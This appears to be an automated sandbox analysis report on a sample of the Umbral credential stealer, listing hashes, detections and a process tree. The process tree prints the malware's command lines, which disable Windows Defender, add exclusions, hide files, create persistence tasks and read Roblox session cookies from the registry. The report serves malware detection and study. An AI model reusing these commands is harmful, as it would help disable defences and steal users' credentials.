Analysis

  • max time kernel
    114s
  • max time network
    118s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-09-2024 05:55

General

  • Target

    74e445436b010306f116973c93656630N.exe

  • Size

    170KB

  • MD5

    74e445436b010306f116973c93656630

  • SHA1

    b1176522355a5863f5c7d7d3ca9db3889bbc485b

  • SHA256

    dceb4a5e6cd2b0d37758cff6b217c69472d6bc6844617817fe22fbf86b7b7135

  • SHA512

    8a331a232b877e329110bb264efe79baaa1189316ac1cabefd12f82f249cf7c8415aec6e1df300e132ba8b6bcc9265e6b1b39847e3baea1d0f1e7e698ad2e367

  • SSDEEP

    3072:hVK2s3mxhbEmdMfQw/eJPGN0wxdFk7G1xB3O/Ga/32hK505EyWEBuedcH5e0K:hVE3m7bh+/eJPGVx0MxB3O/Ga/cQ05vh

Malware Config

Signatures

  • Detect Umbral payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 37 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 50 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\74e445436b010306f116973c93656630N.exe
    "C:\Users\Admin\AppData\Local\Temp\74e445436b010306f116973c93656630N.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1420
    • C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe
      "C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5040
      • C:\Windows\System32\attrib.exe
        "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\Exec"
        3⤵
        • Sets file to hidden
        • Views/modifies file attributes
        PID:3160
      • C:\Windows\System32\attrib.exe
        "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\Exec\$77svchost.exe"
        3⤵
        • Sets file to hidden
        • Views/modifies file attributes
        PID:3880
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE5DC.tmp.bat""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1424
        • C:\Windows\system32\timeout.exe
          timeout 3
          4⤵
          • Delays execution with timeout.exe
          PID:2116
        • C:\Users\Admin\Exec\$77svchost.exe
          "C:\Users\Admin\Exec\$77svchost.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:452
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks.exe" /query /TN $77svchost.exe
            5⤵
              PID:1248
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks.exe" /Create /SC ONCE /TN "$77svchost.exe" /TR "C:\Users\Admin\Exec\$77svchost.exe \"\$77svchost.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST
              5⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3128
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks.exe" /query /TN $77svchost.exe
              5⤵
                PID:3964
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:288
              • C:\Windows\System32\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "svchost_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00
                5⤵
                • Scheduled Task/Job: Scheduled Task
                PID:932
        • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
          "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
          2⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3512
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3004
          • C:\Windows\SYSTEM32\attrib.exe
            "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
            3⤵
            • Views/modifies file attributes
            PID:3160
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1504
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3412
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4932
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1568
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" os get Caption
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2328
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" computersystem get totalphysicalmemory
            3⤵
              PID:5076
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic.exe" csproduct get uuid
              3⤵
                PID:4372
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:3360
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic" path win32_VideoController get name
                3⤵
                • Detects videocard installed
                PID:1820
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
                3⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Suspicious use of WriteProcessMemory
                PID:2916
                • C:\Windows\system32\PING.EXE
                  ping localhost
                  4⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:4696
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
              PID:3636

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              1KB

              MD5

              eeb6ad386d143f278077171fc01a81e8

              SHA1

              43cff1bd7240965bfb2f10e47c0cec0f94332e2d

              SHA256

              59d62f9472b4c00b7cae0ee702789fa2b0042c468e4de9421d2430f9973eb00d

              SHA512

              b40f003e6d97adaaf05809f06d12df01984943d9eb6c44eaeffef90df8de0040373150c9714b11a42db5189b7064eeed0609a39f6f1feb91b05dd1835333e8f2

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              64B

              MD5

              ccf1b703c8f1f34a2faf84a676e0ef0c

              SHA1

              46dc045aa7dcf8938c0352d4125e796d38c4b7a3

              SHA256

              789e5eaacf5284c772fd75aab4c445eadff4816410167eea41a185ffe35b36fa

              SHA512

              c53f8516e7e65f86a0cba52ba2a7aa5c9e0bee4285b6cae525a0c1202d04f779a20225a6b8f8e674daf1ab9b4b225b3ebb7cda7588b3ab062761b136eb86b24a

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              6d42b6da621e8df5674e26b799c8e2aa

              SHA1

              ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

              SHA256

              5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

              SHA512

              53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              948B

              MD5

              1a58f982c18490e622e00d4eb75ace5a

              SHA1

              60c30527b74659ecf09089a5a7c02a1df9a71b65

              SHA256

              4b7f800c0dea209162cc86627983993127eb20e3f8616646c41cb3ce15d9b39d

              SHA512

              ddab516a967783c5951717853aa5b3ef6dd5b442db50092888b2e7f3179fc68120fcde69a08d6ab280740eaadb6eadfc758c3118b52706f869e48ac1aebda480

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              1KB

              MD5

              276798eeb29a49dc6e199768bc9c2e71

              SHA1

              5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

              SHA256

              cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

              SHA512

              0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

            • C:\Users\Admin\AppData\Local\Temp\Umbral.exe

              Filesize

              229KB

              MD5

              62099472f40d33f1caf73e36e866b9e7

              SHA1

              9d1e27b780ba14d0e41d366d79b0f42d4a782e7e

              SHA256

              f343ca46350a3c48f888be39bf1247fcab2bcd731889fc16828aac5f681edebc

              SHA512

              3356bd93afdff76dfc995b8bba3fc96d772e371c3ae6f289cbdb58cffef4906a5f8c2755152765c8cc96b5fc61e97186e42eceaa5e8619d15e172441c95f9764

            • C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe

              Filesize

              40KB

              MD5

              47f267290124f530b9c04563b533db83

              SHA1

              fccb81909c612554fce4303daeffc750a71ee44e

              SHA256

              479db498a032418957c1616b13187402d7f626afa32dd4fcf56313d78ec23eeb

              SHA512

              a81b1ca99fec7a536eabc62f57668e46b832e534ccba43f3ab25a9d33d394745d24bad5f72225244f20be5ddcb44529d72efa31b92bc9e03f34e3b9ddb4f9e3a

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_11dt522q.ook.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\tmpE5DC.tmp.bat

              Filesize

              143B

              MD5

              44a9c7636fa0dd77d4cdb0128c7e0b8e

              SHA1

              7010fcaa34c1ffb6350d341cb31188464ee0405b

              SHA256

              d92aad9c1a241a55e12e3cf527c8679b7e5aff9a1cb36cb7bc7c159f37afb60b

              SHA512

              af3f9d0c6b7589a7bc5e79e92570200aa2e55fbd1d3986d36009a6ca6d4cb2d87fe606354cd9c1f8d763260f13e6bc8f4a97b090d2d69442aa86ecce32c701ab

            • memory/1504-29-0x000002D8FE410000-0x000002D8FE432000-memory.dmp

              Filesize

              136KB

            • memory/3512-27-0x00007FF958AF0000-0x00007FF9595B1000-memory.dmp

              Filesize

              10.8MB

            • memory/3512-56-0x00000212D3C10000-0x00000212D3C60000-memory.dmp

              Filesize

              320KB

            • memory/3512-57-0x00000212BB4B0000-0x00000212BB4CE000-memory.dmp

              Filesize

              120KB

            • memory/3512-26-0x00000212B9710000-0x00000212B9750000-memory.dmp

              Filesize

              256KB

            • memory/3512-55-0x00000212D3F00000-0x00000212D3F76000-memory.dmp

              Filesize

              472KB

            • memory/3512-94-0x00000212D3BE0000-0x00000212D3BF2000-memory.dmp

              Filesize

              72KB

            • memory/3512-93-0x00000212BB4E0000-0x00000212BB4EA000-memory.dmp

              Filesize

              40KB

            • memory/3512-28-0x00007FF958AF0000-0x00007FF9595B1000-memory.dmp

              Filesize

              10.8MB

            • memory/3512-112-0x00007FF958AF0000-0x00007FF9595B1000-memory.dmp

              Filesize

              10.8MB

            • memory/5040-23-0x0000000000F40000-0x0000000000F4E000-memory.dmp

              Filesize

              56KB

            • memory/5040-113-0x00007FF958AF3000-0x00007FF958AF5000-memory.dmp

              Filesize

              8KB

            • memory/5040-24-0x00007FF958AF3000-0x00007FF958AF5000-memory.dmp

              Filesize

              8KB